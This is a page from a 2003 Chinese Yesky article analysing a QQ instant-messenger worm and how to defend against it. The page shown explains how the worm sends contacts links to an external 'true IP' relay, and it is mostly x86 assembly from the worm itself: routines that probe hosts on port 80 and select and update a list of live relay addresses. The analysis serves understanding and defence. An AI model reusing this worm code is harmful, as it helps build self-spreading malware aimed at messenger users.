首页产品库评测行情新闻|手机数码笔记本台式机DIY硬件数字家庭数码相机办公外设|软件下载游戏开发|社区

更多

数码相机
MP4
LCD
机箱
音箱

天极网 > 软件频道>QQ蠕虫病毒原理分析与防御

QQ蠕虫病毒原理分析与防御

2003-10-31 14:41作者:出处:责任编辑:

  3.这样,当机器处于内网时,会向好友发出http://trueip:80的消息,对方则向trueip发出连接而不是内网的机器,和DRDos相似。代码如下:

  IsActiveIP    PROC  IP   : DWORD
    LOCAL  VSocket  : DWORD
    push   ecx
    push   IPPROTO_TCP
    push   SOCK_STREAM
    push   AF_INET
    call   socket
    mov   VSocket,eax
    push   IP
    pop   TestIP
  push   sizeof(sockaddr) ; Size of connect strucure=16
    call   IAI1       ; Connect structure
  dw    AF_INET      ; Family
 db    0,80       ; Port number,avoid htons :)
TestIP dd    0         ; in_addr of server
  db    8 dup(0)     ; Unused
IAI1:
 push   VSocket
  call   connect      ;ret 0 if sucess
    push   eax
    push   VSocket
  call   closesocket
    pop   eax
    pop   ecx
  ret   4
IsActiveIP    ENDP
SelectTrueIP: 
    push  64
    pop   ecx
    mov   esi , offset TrueIPList
STI1:  lodsd       
    push  eax
    call  IsActiveIP       ;ret 0 if sucess
    .if   eax  == 0            
        sub  esi , 4
        lodsd  
        jmp  STIExit
    .else  
        loop STI1
    .endif    
    xor   eax , eax
STIExit:
    ret
UpdateTrueIP  PROC  TrueIP : DWORD
    push  64
    pop   ecx
    mov   esi , offset TrueIPList
UT1:  lodsd
    .if   eax == 0
        push TrueIP
        pop  [esi-4]
        jmp  UTExit
    .else
        loop UT1        
    .endif
    push  64
    pop   ecx
    mov   esi , offset TrueIPList
UT2:  
    lodsd
    push  eax
    call  IsActiveIP      ;ret 0 if sucess
    .if   eax  != 0     
        push TrueIP
        pop  [esi-4]    
        jmp  UTExit
    .else    
        loop UT1        
    .endif
UTExit:    
    mov   eax , TrueIP
    ret   4      
UpdateTrueIP  ENDP
TrueIPList   db  256 dup (0)

共7页。 9 7 1 2 3 4 5 6 7 8 :

关注此文的读者还看过:

返回软件频道首页

软件频道最新更新

热点推荐

天极服务|关于我们|About us|网站律师|RSS订阅|友情合作|加入我们|天极动态|网站地图|意见反馈|MSN/QQ上看天极
Copyright (C) 1999-2012 Yesky.com, All Rights Reserved 版权所有 天极网络